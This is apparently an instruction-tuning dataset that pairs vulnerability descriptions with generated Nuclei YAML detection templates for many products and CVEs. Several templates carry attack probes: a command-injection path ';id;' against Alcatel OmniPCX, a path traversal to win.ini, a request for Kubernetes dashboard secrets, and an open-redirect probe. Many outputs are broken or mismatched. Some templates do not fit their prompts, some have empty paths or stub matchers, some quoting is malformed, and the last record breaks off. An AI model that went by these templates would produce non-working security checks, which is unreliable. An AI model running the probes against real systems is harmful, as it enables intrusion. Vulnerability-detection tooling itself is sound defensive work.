Instruction: Generate a Nuclei template for: Nagios Log Server - Install

Input:
Title: Nagios Log Server - Install
Summary: Nagios Log Server - Install. Detects the presence of a Nagios Log Server installation page, which can expose configuration setup information or initialization steps.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: nagios-logserver-installer

info:
  name: Nagios Log Server - Install
  author: ritikchaddha
  severity: high
  description: Detects the presence of a Nagios Log Server installation page, which can expose configuration setup information or initialization steps.
  tags: misconfig,install,nagios,nagios-logserver,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nagioslogserver/install"
    matchers:
      - type: word
        words:
          - "Nagios Log Server"
          - "Install</a>"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-3139

Input:
Title: Vulnerability (CWE-601) in wp-experts protect_wp_admin
Summary: The Protect WP Admin WordPress plugin before 4.0 discloses the URL of the admin panel via a redirection of a crafted URL, bypassing the protection offered.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: wp-experts protect_wp_admin
Indicators: error, vulnerability detected

Output:
id: CVE-2023-3139

info:
  name: Protect WP Admin < 4.0 - Unauthenticated Protection Bypass
  author: popcorn94
  severity: medium
  description: The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.
  tags: cve,cve2023,wordpress,wp-plugin,protect-wp-admin,unauth,wpscan,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/protect-wp-admin/readme.txt"
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?action=lostpassword&error=invalidkey"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: php-fpm-config

info:
  name: PHP-FPM Configuration Page - Detect
  author: sheikhrishad
  severity: info
  description: PHP-FPM configuration page was detected.
  tags: config,exposure,php,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/php-fpm.conf"
    matchers:
      - type: word
        words:
          - "FPM Configuration"
          - "Pool Definitions"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: IDoc View /html/2word - Arbitrary File Upload

Input:
Title: IDoc View /html/2word - Arbitrary File Upload
Summary: IDoc View /html/2word - Arbitrary File Upload. Tags: idoc, rce, instrusive
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: idocview-2word-fileupload

info:
  name: IDoc View /html/2word - Arbitrary File Upload
  author: DhiyaneshDK
  severity: high
  description: IDoc View /html/2word - Arbitrary File Upload
  tags: idoc,rce,instrusive,file-upload,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/html/2word?url={{file}}"
    matchers:
      - type: word
        words:
          - "{{md5(file)}}.docx"
        part: response
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure SQL Database Create/Update Alert Not Configured

Input:
Title: Azure SQL Database Create/Update Alert Not Configured
Summary: Azure SQL Database Create/Update Alert Not Configured. Ensure that an Azure activity log alert is fired whenever "Create/Update Azure SQL Database" events are triggered within your Microsoft Azure cloud account. Activity log alerts get triggered when a new activity log event that matches the condition specified in the alert configuration occurs. For this conformity rule, the matched condition is "Whenever the Activity Log has an event with Category='Administrative', Signal name='Create/Update Az
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-sql-db-update-unalerted

info:
  name: Azure SQL Database Create/Update Alert Not Configured
  author: princechaddha
  severity: high
  description: Ensure that an Azure activity log alert is fired whenever "Create/Update Azure SQL Database" events are triggered within your Microsoft Azure cloud account. Activity log alerts get triggered when a new activity log event that matches the condition specified in the alert configuration occurs. For this conformity rule, the matched condition is "Whenever the Activity Log has an event with Category='Administrative', Signal name='Create/Update Azure SQL Database (servers/databases)'".
  tags: cloud,devops,azure,microsoft,sql-database,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: OSX Leverage Malware - Detect

Input:
Title: OSX Leverage Malware - Detect
Summary: OSX Leverage Malware - Detect. Tags: malware, file
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: osx-leverage-malware

info:
  name: OSX Leverage Malware - Detect
  author: daffainfo
  severity: info
  description: OSX Leverage Malware - Detect
  tags: malware,file

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: ScreenshotAPI API Test

Input:
Title: ScreenshotAPI API Test
Summary: ScreenshotAPI API Test. Create pixel-perfect website screenshots
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-screenshotapi

info:
  name: ScreenshotAPI API Test
  author: daffainfo,geeknik
  severity: info
  description: Create pixel-perfect website screenshots
  tags: token-spray,screenshotapi

http:
  - method: GET
    path:
      - "https://shot.screenshotapi.net/screenshot?token={{token}}&url=https://example.com"
    matchers:
      - type: word
        words:
          - "screenshot"
          - "url"
        part: body
        condition: and
      - type: status
        status:
          - 403


Instruction: Generate a Nuclei template for CVE-2022-34576

Input:
Title: Unknown Vulnerability in wavlink wn535g3_firmware
Summary: A vulnerability in /cgi-bin/ExportAllSettings.sh of WAVLINK WN535 G3 M35G3R.V5030.180927 allows attackers to execute arbitrary code via a crafted POST request.
Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: wavlink wn535g3_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2022-34576

info:
  name: WAVLINK WN535 G3 - Improper Access Control
  author: arafatansari
  severity: high
  description: WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"
    matchers:
      - type: word
        words:
          - "Login="
          - "Password="
          - "Model="
          - "AuthMode="
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2007-3010

Input:
Title: Vulnerability (CWE-77) in al-enterprise omnipcx_enterprise_communication_server
Summary: masterCGI in the Unified Maintenance Tool in Alcatel OmniPCX Enterprise Communication Server R7.1 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the user parameter during a ping action.
Vulnerability Type: Vulnerability (CWE-77)
Severity: critical
Affected Products: al-enterprise omnipcx_enterprise_communication_server
Indicators: error, vulnerability detected

Output:
id: CVE-2007-3010

info:
  name: Alcatel-Lucent OmniPCX - Remote Command Execution
  author: king-alexander
  severity: critical
  description: The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.
  tags: cve,cve2007,kev,rce,alcatel,alcatel-lucent,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;id;"
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "<TITLE>master</TITLE>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Easy Updates Manager Detection

Input:
Title: Easy Updates Manager Detection
Summary: Easy Updates Manager Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-stops-core-theme-and-plugin-updates

info:
  name: Easy Updates Manager Detection
  author: ricardomaia
  severity: info
  description: Easy Updates Manager Detection
  tags: tech,wordpress,wp-plugin,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/stops-core-theme-and-plugin-updates/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: Gitea Installer Exposure

Input:
Title: Gitea Installer Exposure
Summary: Gitea Installer Exposure. Gitea is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gitea-installer

info:
  name: Gitea Installer Exposure
  author: DhiyaneshDk
  severity: medium
  description: Gitea is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,gitea,install,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Installation -  Gitea: Git with a cup of tea"
          - "Database Name"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Luftguitar CMS Arbitrary File Upload

Input:
Title: Luftguitar CMS Arbitrary File Upload
Summary: Luftguitar CMS Arbitrary File Upload. A vulnerability in Luftguitar CMS allows remote unauthenticated users to upload files to the remote service via the 'ftb.imagegallery.aspx' endpoint.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: luftguitar-arbitrary-file-upload

info:
  name: Luftguitar CMS Arbitrary File Upload
  author: pikpikcu
  severity: high
  description: A vulnerability in Luftguitar CMS allows remote unauthenticated users to upload files to the remote service via the 'ftb.imagegallery.aspx' endpoint.
  tags: luftguitar,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ftb.imagegallery.aspx"
    matchers:
      - type: word
        words:
          - "<title>Insert Image</title>"
          - "<title>Image Gallery</title>"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: saltstack-config-panel

info:
  name: SaltStack Config Panel - Detect
  author: pussycat0x
  severity: info
  description: SaltStack config panel was detected.
  tags: panel,vmware,login,saltstack,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "SaltStack Config"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: figma

info:
  name: Figma User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Figma user name information check was conducted.
  tags: osint,osint-tech,figma,discovery

http:
  - method: GET
    path:
      - "https://www.figma.com/@{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - ") on Figma Community"
        part: body


Instruction: Generate a Nuclei template for: Artifactory Security Checks

Input:
Title: Artifactory Security Checks
Summary: Artifactory Security Checks. A simple workflow that runs all Artifactory related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: artifactory-workflow

info:
  name: Artifactory Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Artifactory related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2018-20470

Input:
Title: Path Traversal in sahipro sahi_pro
Summary: An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: sahipro sahi_pro
Indicators: error, vulnerability detected

Output:
id: CVE-2018-20470

info:
  name: Tyto Sahi pro 7.x/8.x - Local File Inclusion
  author: daffainfo
  severity: high
  description: Tyto Sahi Pro versions through 7.x.x and 8.0.0 are susceptible to a local file inclusion vulnerability in the web reports module which can allow an outside attacker to view contents of sensitive files.
  tags: cve2018,cve,lfi,packetstorm,sahipro,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected"
    matchers:
      - type: word
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Detect PRTG

Input:
Title: Detect PRTG
Summary: Detect PRTG. Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: prtg-detect

info:
  name: Detect PRTG
  author: geeknik
  severity: info
  description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg
  tags: tech,prtg,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.htm"
      - "{{BaseURL}}/prtg/index.htm"
      - "{{BaseURL}}/PRTG/index.htm"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "PRTG Network Monitor"
        part: body
      - type: regex
        part: header


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: dwsync-exposure

info:
  name: Dreamweaver Dwsync.xml Exposure
  author: KaizenSecurity
  severity: info
  description: The Dreamweaver file dwsync.xml was discovered. The dwsync.xml file is a file generated by Dreamweaver which contains information related to what files are in the website directory.
  tags: dwsync,exposure,dreamweaver,files,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_notes/dwsync.xml"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/xml"
        part: header
      - type: word
        words:
          - "<dwsync>"
          - "</dwsync>"
        part: body
        condition: and


Instruction: Generate a Nuclei template to detect Open Redirect

Input:
Title: Open Redirect (CWE-601)
Summary: The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
Vulnerability Type: Open Redirect
Severity: high
Indicators: vulnerability detected, error

Output:
id: ultimatemember-open-redirect

info:
  name: WordPress Ultimate Member <2.1.7 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: WordPress Ultimate Member plugin before 2.1.7 contains an open redirect vulnerability on the registration and login pages via the "redirect_to" GET parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: wp-plugin,redirect,wordpress,wpscan,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/register/?redirect_to=https://interact.sh/"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for CVE-2018-18264

Input:
Title: Vulnerability (CWE-306) in kubernetes dashboard
Summary: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
Vulnerability Type: Vulnerability (CWE-306)
Severity: high
Affected Products: kubernetes dashboard
Indicators: error, vulnerability detected

Output:
id: CVE-2018-18264

info:
  name: Kubernetes Dashboard <1.10.1 - Authentication Bypass
  author: edoardottt
  severity: high
  description: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
  tags: cve,cve2018,kubernetes,k8s,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
      - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
    matchers:
      - type: dsl
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-1595

Input:
Title: Information Disclosure in CVE-2025-1595
Summary: A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Vulnerability Type: Information Disclosure
Severity: medium
Indicators: error, vulnerability detected

Output:
id: CVE-2025-1595

info:
  name: EasyCVR <=2.1.2 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
  tags: cve,cve2025,exposure,easycvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/getbaseconfig"
    matchers:
      - type: word
        words:
          - "DevicePassword":"
          - "APIAuth":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: fiori-launchpad

info:
  name: Fiori Launchpad Login Panel - Detect
  author: DhiyaneshDk
  severity: info
  description: Fiori Launchpad login panel was detected.
  tags: sap,fiori,edb,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/sap/bc/ui5_ui5/ui2/ushell/shells/abap/FioriLaunchpad.html"
    matchers:
      - type: word
        words:
          - "<title>Logon</title>"
          - "SAP SE"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: ThinkAdmin Security Checks

Input:
Title: ThinkAdmin Security Checks
Summary: ThinkAdmin Security Checks. A simple workflow that runs all ThinkAdmin related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: thinkadmin-workflow

info:
  name: ThinkAdmin Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all ThinkAdmin related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Strikingly Takeover Detection

Input:
Title: Strikingly Takeover Detection
Summary: Strikingly Takeover Detection. Strikingly takeover was detected.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: strikingly-takeover

info:
  name: Strikingly Takeover Detection
  author: pdteam
  severity: high
  description: Strikingly takeover was detected.
  tags: takeover,strikingly,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
      - type: word
        words:
          - "But if you're looking to build your own website"
          - "you've come to the right place."
        condition: and


Instruction: Generate a Nuclei template for: IconFinder API Test

Input:
Title: IconFinder API Test
Summary: IconFinder API Test. Web Icons. Tags: token-spray, iconfinder
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-iconfinder

info:
  name: IconFinder API Test
  author: daffainfo
  severity: info
  description: Web Icons
  tags: token-spray,iconfinder

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""icons":"
          - ""is_icon_glyph":"
          - ""download_url":"
        part: body
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: vivino

info:
  name: Vivino User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Vivino user name information check was conducted.
  tags: osint,osint-video,vivino,discovery

http:
  - method: GET
    path:
      - "https://www.vivino.com/users/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<!-- User details -->"
        part: body


Instruction: Generate a Nuclei template for: Idle Shutdown Not Enabled for Vertex AI Notebooks

Input:
Title: Idle Shutdown Not Enabled for Vertex AI Notebooks
Summary: Idle Shutdown Not Enabled for Vertex AI Notebooks. Ensure that the Idle Shutdown feature is enabled for your Google Cloud Vertex AI notebook instances to optimize costs. Inactive notebook instances continue to incur charges, and Idle Shutdown automatically stops them after a period of inactivity (i.e., no running commands or UI connections), reducing unneeded spending. Vertex AI stops charging for CPUs/GPUs once the notebook instance is shut down.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-vertexai-idle-shutdown

info:
  name: Idle Shutdown Not Enabled for Vertex AI Notebooks
  author: princechaddha
  severity: medium
  description: Ensure that the Idle Shutdown feature is enabled for your Google Cloud Vertex AI notebook instances to optimize costs. Inactive notebook instances continue to incur charges, and Idle Shutdown automatically stops them after a period of inactivity (i.e., no running commands or UI connections), reducing unneeded spending. Vertex AI stops charging for CPUs/GPUs once the notebook instance is shut down.
  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Anteon Dashboard - Unauthenticated

Input:
Title: Anteon Dashboard - Unauthenticated
Summary: Anteon Dashboard - Unauthenticated. The Anteon Dashboard was found to be accessible via the /dashboard endpoint without authentication.This exposure may allow unauthorized users to gain insights into internal services, configurations, or sensitive operational data depending on the permissions and features enabled on the dashboard.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: anteon-dashboard-unauth

info:
  name: Anteon Dashboard - Unauthenticated
  author: DhiyaneshDk
  severity: medium
  description: The Anteon Dashboard was found to be accessible via the /dashboard endpoint without authentication.This exposure may allow unauthorized users to gain insights into internal services, configurations, or sensitive operational data depending on the permissions and features enabled on the dashboard.
  tags: anteon,misconfig,dashboard,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Aqua Enterprise Detect

Input:
Title: Aqua Enterprise Detect
Summary: Aqua Enterprise Detect. Tags: tech, aqua, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: aqua-enterprise-detect

info:
  name: Aqua Enterprise Detect
  author: daffainfo
  severity: info
  description: Aqua Enterprise Detect
  tags: tech,aqua,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/api"
    matchers:
      - type: regex
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-34045

Input:
Title: Vulnerability (CWE-798) in wavlink wl-wn530hg4_firmware
Summary: Wavlink WN530HG4 M30HG4.V5030.191116 was discovered to contain a hardcoded encryption/decryption key for its configuration files at /etc_ro/lighttpd/www/cgi-bin/ExportAllSettings.sh.
Vulnerability Type: Vulnerability (CWE-798)
Severity: critical
Affected Products: wavlink wl-wn530hg4_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2022-34045

info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: arafatansari
  severity: critical
  description: WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. It contains a hardcoded encryption/decryption key for its configuration files at /etc_ro/lighttpd/www/cgi-bin/ExportAllSettings.sh. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Salted__"
        part: body
      - type: word
        words:
          - "application/octet-stream"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Moodle Workplace Login Panel - Detect

Input:
Title: Moodle Workplace Login Panel - Detect
Summary: Moodle Workplace Login Panel - Detect. Moodle workplace login panel was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: moodle-workplace-panel

info:
  name: Moodle Workplace Login Panel - Detect
  author: righettod
  severity: info
  description: Moodle workplace login panel was detected.
  tags: panel,moodle,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/index.php"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2025-24799

Input:
Title: SQL Injection in glpi-project glpi
Summary: GLPI is a free asset and IT management software package. An unauthenticated user can perform a SQL injection through the inventory endpoint. This vulnerability is fixed in 10.0.18.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: glpi-project glpi
Indicators: error, vulnerability detected

Output:
id: CVE-2025-24799

info:
  name: GLPI < 10.0.17 - Pre-Auth SQL Injection
  author: ritikchaddha
  severity: critical
  description: A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.
  tags: cve,cve2025,glpi,sqli,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Mailoney Honeypot - Detect

Input:
Title: Mailoney Honeypot - Detect
Summary: Mailoney Honeypot - Detect. A Mailoney (SMTP) honeypot has been identified.
The response to the 'HELP' command differs from real installations, signaling a possible deceptive setup.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: mailoney-honeypot-detect

info:
  name: Mailoney Honeypot - Detect
  author: UnaPibaGeek
  severity: info
  description: A Mailoney (SMTP) honeypot has been identified.
The response to the 'HELP' command differs from real installations, signaling a possible deceptive setup.
  tags: mailoney,exim,smtp,honeypot,ir,cti,network,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-22175

Input:
Title: Vulnerability (CWE-918) in gitlab gitlab
Summary: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is disabled
Vulnerability Type: Vulnerability (CWE-918)
Severity: medium
Affected Products: gitlab gitlab
Indicators: error, vulnerability detected

Output:
id: CVE-2021-22214

info:
  name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
  author: Suman_Kar,GitLab Red Team
  severity: high
  description: GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
  tags: cve2021,cve,gitlab,ssrf,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
    matchers:
      - type: word
        words:
          - "does not have valid YAML syntax"
        part: body


Instruction: Generate a Nuclei template for: Age Identity (X22519 secret key)

Input:
Title: Age Identity (X22519 secret key)
Summary: Age Identity (X22519 secret key). Tags: file, keys, age-encryption
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: age-identity-secret-key

info:
  name: Age Identity (X22519 secret key)
  author: DhiyaneshDK
  severity: info
  description: Age Identity (X22519 secret key)
  tags: file,keys,age-encryption,token

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Discord Invites for Users, Bots & Servers - Detect

Input:
Title: Discord Invites for Users, Bots & Servers - Detect
Summary: Discord Invites for Users, Bots & Servers - Detect. Detect Discord Invites for users, bots and servers

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: discord-invite-detect

info:
  name: Discord Invites for Users, Bots & Servers - Detect
  author: rxerium
  severity: info
  description: Detect Discord Invites for users, bots and servers
  tags: discord,info,osint,misc,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: tidb-native-password

info:
  name: TiDB - Password Vulnerability
  author: lu4nx
